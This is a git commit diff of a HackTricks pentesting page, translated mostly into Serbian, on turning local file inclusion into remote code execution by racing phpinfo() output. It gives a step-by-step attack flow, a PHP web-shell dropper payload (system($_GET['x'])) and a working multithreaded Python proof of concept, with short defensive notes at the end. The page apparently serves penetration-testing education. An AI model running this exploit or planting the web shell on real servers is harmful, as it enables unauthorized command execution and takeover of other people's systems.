Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:53:12 +00:00
parent 8fe12e097c
commit 378e1007ec

View File

@ -1,55 +1,160 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Da biste iskoristili ovu ranjivost, potrebni su vam: **LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file_uploads = on" i server mora moći da piše u direktorijum "/tmp".** Da biste iskoristili ovu tehniku, potrebni su vam svi sledeći uslovi:
- Dostupna stranica koja ispisuje izlaz phpinfo().
- A Local File Inclusion (LFI) primitiva koju kontrolišete (npr., include/require na korisnički unos).
- PHP file uploads enabled (file_uploads = On). Bilo koji PHP skript prihvata RFC1867 multipart uploads i kreira privremeni fajl za svaki uploadovani deo.
- PHP worker mora moći da piše u konfigurisani upload_tmp_dir (ili podrazumevani sistemski temp direktorijum) i vaš LFI mora moći da include-uje tu putanju.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Klasični write-up i originalni PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Morate da ispravite exploit (promenite **=>** u **=>**). Da biste to uradili, možete: Beleške o originalnom PoC
- Izlaz phpinfo() je HTML-enkodiran, tako da se strelica "=>" često pojavljuje kao "=>". Ako ponovo koristite legacy skripte, obavezno osigurajte da pretražuju oba enkodiranja pri parsiranju vrednosti _FILES[tmp_name].
- Morate prilagoditi payload (vaš PHP kod), REQ1 (zahtev ka phpinfo() endpointu uključujući padding), i LFIREQ (zahtev ka vašem LFI sinku). Neki ciljevi ne zahtevaju null-byte (%00) terminator i moderne PHP verzije ga neće poštovati. Prilagodite LFIREQ u skladu sa ranjivim sinkom.
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
``` ```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
``` ```
Morate promeniti i **payload** na početku eksploata (na primer, za php-rev-shell), **REQ1** (ovo treba da upućuje na phpinfo stranicu i treba da ima uključeno punjenje, tj.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), i **LFIREQ** (ovo treba da upućuje na LFI ranjivost, tj.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Proverite dupli "%" kada eksploatišete null char)
{{#file}} {{#file}}
LFI-With-PHPInfo-Assistance.pdf LFI-With-PHPInfo-Assistance.pdf
{{#endfile}} {{#endfile}}
### Teorija ## Teorija
Ako su uploadi dozvoljeni u PHP-u i pokušate da uploadujete fajl, ovaj fajl se čuva u privremenom direktorijumu dok server ne završi obradu zahteva, zatim se ovaj privremeni fajl briše. - Kada PHP primi multipart/form-data POST sa poljem za fajl, upisuje sadržaj u privremeni fajl (upload_tmp_dir ili podrazumevani direktorijum OS-a) i izlaže putanju u $_FILES['<field>']['tmp_name']. Fajl se automatski briše na kraju zahteva osim ako nije pomeren/preimenovan.
- Trik je saznati privremeno ime i uključiti ga preko LFI pre nego što PHP očisti fajl. phpinfo() ispisuje $_FILES, uključujući tmp_name.
- Naduvavanjem zaglavlja/parametara zahteva (padding) možete uzrokovati da se rani delovi izlaza phpinfo() pošalju klijentu pre nego što se zahtev završi, tako da možete pročitati tmp_name dok privremeni fajl još postoji i odmah potom iskoristiti LFI sa tom putanjom.
Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremenog fajla koji je kreiran i iskoristite RCE pristupajući privremenom fajlu pre nego što bude obrisan. U Windows-u se privremeni fajlovi obično nalaze negde kao C:\\Windows\\Temp\\php*.tmp. Na Linux/Unix sistemima obično su u /tmp ili u direktorijumu konfigurisanom u upload_tmp_dir.
U **Windows-u** fajlovi se obično čuvaju u **C:\Windows\temp\php** ## Tok napada (korak po korak)
U **linux-u** ime fajla obično je **random** i nalazi se u **/tmp**. Pošto je ime nasumično, potrebno je **izvući ime privremenog fajla** iz nekog izvora i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti **varijable $\_FILES** unutar sadržaja funkcije "**phpconfig()**". 1) Pripremite mali PHP payload koji brzo upisuje shell na disk kako biste izbegli gubitak trke (pisanje fajla je generalno brže nego čekanje na reverse shell):
**phpinfo()**
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **puno velikih zahteva** (koristeći velike heder-e) **uploadujući php** reverznu **shell**, čekati da **prvi deo phpinfo() bude vraćen** (gde je ime privremenog fajla) i pokušati da **pristupi temp fajlu** pre nego što php server obriše fajl eksploatišući LFI ranjivost.
**Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
``` ```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Pošaljite veliki multipart POST direktno na phpinfo() stranicu tako da ona kreira temp fajl koji sadrži vaš payload. Uvećajte razne headers/cookies/params sa ~510KB padding-a da podstaknete raniji output. Uverite se da ime form field-a odgovara onome što ćete parsirati u $_FILES.
3) Dok phpinfo() response još uvek strimuje, parsirajte parcijalno telo da izvučete $_FILES['<field>']['tmp_name'] (HTML-encodirano). Čim imate punu apsolutnu putanju (npr. /tmp/php3Fz9aB), pokrenite svoj LFI da uključi tu putanju. Ako include() izvrši temp fajl pre nego što bude obrisan, vaš payload se izvršava i ostavlja /tmp/.p.php.
4) Iskoristite ostavljeni fajl: GET /vuln.php?include=/tmp/.p.php&x=id (ili gde god vaš LFI dozvoljava uključivanje) da pouzdano izvršavate komande.
> Tips
> - Koristite više concurrent workers da povećate šanse da "pobedite" race.
> - Pozicioniranje padding-a koje obično pomaže: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Podešavajte po target-u.
> - Ako ranjivi sink dodaje ekstenziju (npr. .php), ne treba vam null byte; include() će izvršiti PHP bez obzira na ekstenziju temp fajla.
## Minimal Python 3 PoC (socket-based)
The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Rešavanje problema
- You never see tmp_name: Uverite se da zaista šaljete POST multipart/form-data ka phpinfo(). phpinfo() ispisuje $_FILES samo kada je prisutno polje za upload.
- Output doesnt flush early: Povećajte padding, dodajte više velikih zaglavlja, ili pošaljite više paralelnih zahteva. Neki SAPIs/buferi neće isprazniti izlaz dok se ne dostignu veće granice; prilagodite u skladu s tim.
- LFI path blocked by open_basedir or chroot: Morate usmeriti LFI na dozvoljenu putanju ili preći na drugi LFI2RCE vektor.
- Temp directory not /tmp: phpinfo() ispisuje punu apsolutnu tmp_name putanju; koristite upravo tu putanju u LFI.
## Odbrambene napomene
- Nikada ne izlažite phpinfo() u produkciji. Ako je neophodno, ograničite pristup po IP/auth i uklonite nakon upotrebe.
- Držite file_uploads onemogućenim ako nije potreban. U suprotnom, ograničite upload_tmp_dir na putanju koja nije dostupna include() u aplikaciji i primenite strogu validaciju nad svim include/require putanjama.
- Smatrajte svaki LFI kritičnim; čak i bez phpinfo(), postoje drugi LFI→RCE putevi.
## Related HackTricks techniques
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## References
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}